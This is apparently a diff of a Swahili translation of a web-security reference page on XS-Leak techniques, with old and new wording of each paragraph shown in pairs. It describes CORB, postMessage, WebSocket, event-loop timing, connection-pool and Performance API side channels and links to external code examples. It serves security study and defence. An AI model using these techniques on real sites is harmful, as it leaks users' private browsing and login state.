- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakua rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudi na _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **mwandiko wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inakabiliwa na **CORB**), ikisababisha uvujaji wa taarifa.
- **Code Example**:
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
@ -177,8 +177,8 @@ Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
- **Summary**: Vuja data nyeti kutoka kwa sifa ya id au jina.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinapatikana.\
Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itasababisha, kipengele cha ID kinapatikana.\
Unaweza kufanya shambulizi sawa na **`portal`** tags.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -188,7 +188,7 @@ Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
- **Summary**: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
- **Code Example**: `Any code listening for all postMessages.`
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijakamilishwa ipasavyo, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijafafanuliwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani unaweza kutumwa tu kwa watumiaji walioingia. Hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
## Global Limits Techniques
@ -200,9 +200,9 @@ Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozill
- **Summary**: Kutoa mipaka ya muunganisho wa WebSocket kunavuja idadi ya muunganisho wa WebSocket wa ukurasa wa cross-origin.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Inawezekana kubaini ikiwa, na ni wangapi, **muunganisho wa WebSocket unatumika na ukurasa wa lengo**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya muunganisho wa WebSocket.
Inawezekana kubaini ikiwa, na ni wangapi, **muunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya muunganisho wa WebSocket.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya muunganisho wa WebSocket**, bila kujali hali zao za muunganisho, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya wavuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya muunganisho wa WebSockets iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya muunganisho wa WebSocket unaotumiwa na dirisha la tovuti ya lengo**.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya muunganisho wa WebSocket**, bila kujali hali zao za muunganisho, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya muunganisho wa WebSockets iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya muunganisho wa WebSocket inayotumiwa na dirisha la tovuti ya lengo**.
### Payment API
@ -214,7 +214,7 @@ Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya muunganisho wa WebSock
Hii XS-Leak inaruhusu mshambuliaji **gundua wakati ukurasa wa cross-origin unapoanzisha ombi la malipo**.
Kwa sababu **ombile moja tu la malipo linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **kosa la JavaScript**. Mshambuliaji anaweza kutumia hii kwa **kujaribu kuonyesha UI ya Payment API mara kwa mara**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
Kwa sababu **ombile moja tu linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **kosa la JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu kuonyesha UI ya Payment API mara kwa mara**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -228,7 +228,7 @@ Kwa sababu **ombile moja tu la malipo linaweza kuwa hai** wakati mmoja, ikiwa to
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kupima **ni muda gani kodhi kutoka kwa asili tofauti inachukua kutekelezwa**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio mara kwa mara yenye mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka kwa asili tofauti, ikifichua taarifa nyeti.
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati mmoja**. Sifa hii inaweza kutumika kutathmini **ni muda gani kodhi kutoka asili tofauti inachukua kutekeleza**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio kwa kuendelea na mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka asili tofauti, ikifichua taarifa nyeti.
> [!WARNING]
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
@ -238,10 +238,10 @@ JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://develo
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inahusisha kuzuia makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) ndani ya mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti ni kuzuia kwa makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) ndani ya mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Code Example**:
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Kujitenga kwa Tovuti**. **Kujitenga kwa Tovuti** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti za uhalifu kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Kujitenga kwa Tovuti**.
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Site Isolation**. **Site Isolation** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti za uhalifu kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Site Isolation**.
> [!WARNING]
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
@ -263,7 +263,7 @@ Vivinjari vinatumia soketi kwa mawasiliano ya seva, lakini kutokana na rasilimal
1. Tambua kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za kimataifa.
2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji mbalimbali, iliyoundwa kuweka muunganisho wazi bila kukamilisha.
3. Tumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa upatikani hivyo unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa upatikani unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -276,11 +276,11 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-p
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa zinapatikana.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data zaidi kama vile ukubwa wa uhamishaji na muda wa kutafuta kikoa inapatikana.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inafaa kutambua kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Zaidi ya vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kwa sababu ya `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uundaji wa ukurasa.
Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uundaji wa ukurasa.
### Error Leak
@ -297,10 +297,10 @@ Inawezekana **kutofautisha kati ya msimbo wa hali wa majibu ya HTTP** kwa sababu
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kwa sababu ya hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
- **Summary:** Kutokana na hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wanaposhindwa kupakia**. Hii itasababisha kuingia kwa mara nyingi katika Performance API na hivyo inaweza kugunduliwa.
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wakati hazijafanikiwa kupakia**. Hii itasababisha kuingia nyingi katika Performance API na hivyo inaweza kugundulika.
### Request Merging Error
@ -310,7 +310,7 @@ Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari k
- **Summary:** Maombi yanayosababisha kosa hayawezi kuunganishwa.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii ilipatikana katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua kwa [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii iligundulika katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua kwa [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Empty Page Leak
@ -320,17 +320,17 @@ Mbinu hii ilipatikana katika jedwali katika karatasi iliyoelezwa lakini hakuna m
- **Summary:** Majibu tupu hayaundai kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu la HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu la HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kuingia kwa utendaji katika vivinjari vingine**.
### **XSS-Auditor Leak**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa kuchuja wa auditor.
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa filtering wa auditor.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia isiyo ya moja kwa moja kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, iliyoripotiwa awali na Terada na kuendelezwa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia isiyo ya moja kwa moja kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, iliyoripotiwa awali na Terada na kuendelezwa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
### X-Frame Leak
@ -340,15 +340,15 @@ Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambuli
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzaliwi **kuingia kwa utendaji**. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa utatumia **embed** **tag.**
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzali kuingia kwa utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
### Download Detection
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Upakuaji hauzaliwi kuingia kwa muda wa rasilimali katika Performance API.
- **Summary:** Upakuaji hauzali kuingia kwa muda wa rasilimali katika Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia kwa utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
@ -361,7 +361,7 @@ Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu
- **Summary:** Kuingia kwa muda wa rasilimali kunavuja wakati wa kuanza kwa uelekezaji.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinaandika taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji ame **elekezwa** na ukurasa wa lengo, kwa kuhoji **Performance API** na kuangalia data ya **redirectStart timing**.
Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinarekodi taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuuliza **Performance API** na kuangalia **data ya wakati wa redirectStart**.
### Duration Redirect Leak
@ -381,19 +381,19 @@ Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivy
- **Summary:** Rasilimali iliyo na CORP haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kabisa kwa rasilimali zilizo na CORP.
Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati **kichwa cha CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kwa rasilimali zilizo na CORP.
### Service Worker
- **Inclusion Methods**: Frames
- **Detectable Difference**: API Usage
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** Gundua ikiwa huduma ya mfanyakazi imeandikishwa kwa asili maalum.
- **Summary:** Gundua ikiwa huduma ya kazi imeandikishwa kwa asili maalum.
- **Code Example**:
Wafanyakazi wa huduma ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Wanakimbia katika nyuma ya ukurasa wa wavuti na wanaweza kukamata, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **mfanyakazi wa huduma** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya mfanyakazi wa huduma**.\
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya mfanyakazi wa huduma, **Performance API** inaweza kutumika.\
Huduma za kazi ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Zinakimbia katika nyuma ya ukurasa wa wavuti na zinaweza kukamata, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **huduma ya kazi** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya huduma ya kazi**.\
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya huduma ya kazi, **Performance API** inaweza kutumika.\
Hii inaweza pia kufanywa kwa shambulizi la Timing (angalia karatasi kwa maelezo zaidi).
### Cache
@ -480,7 +480,7 @@ The `MediaError` interface's message property uniquely identifies resources that
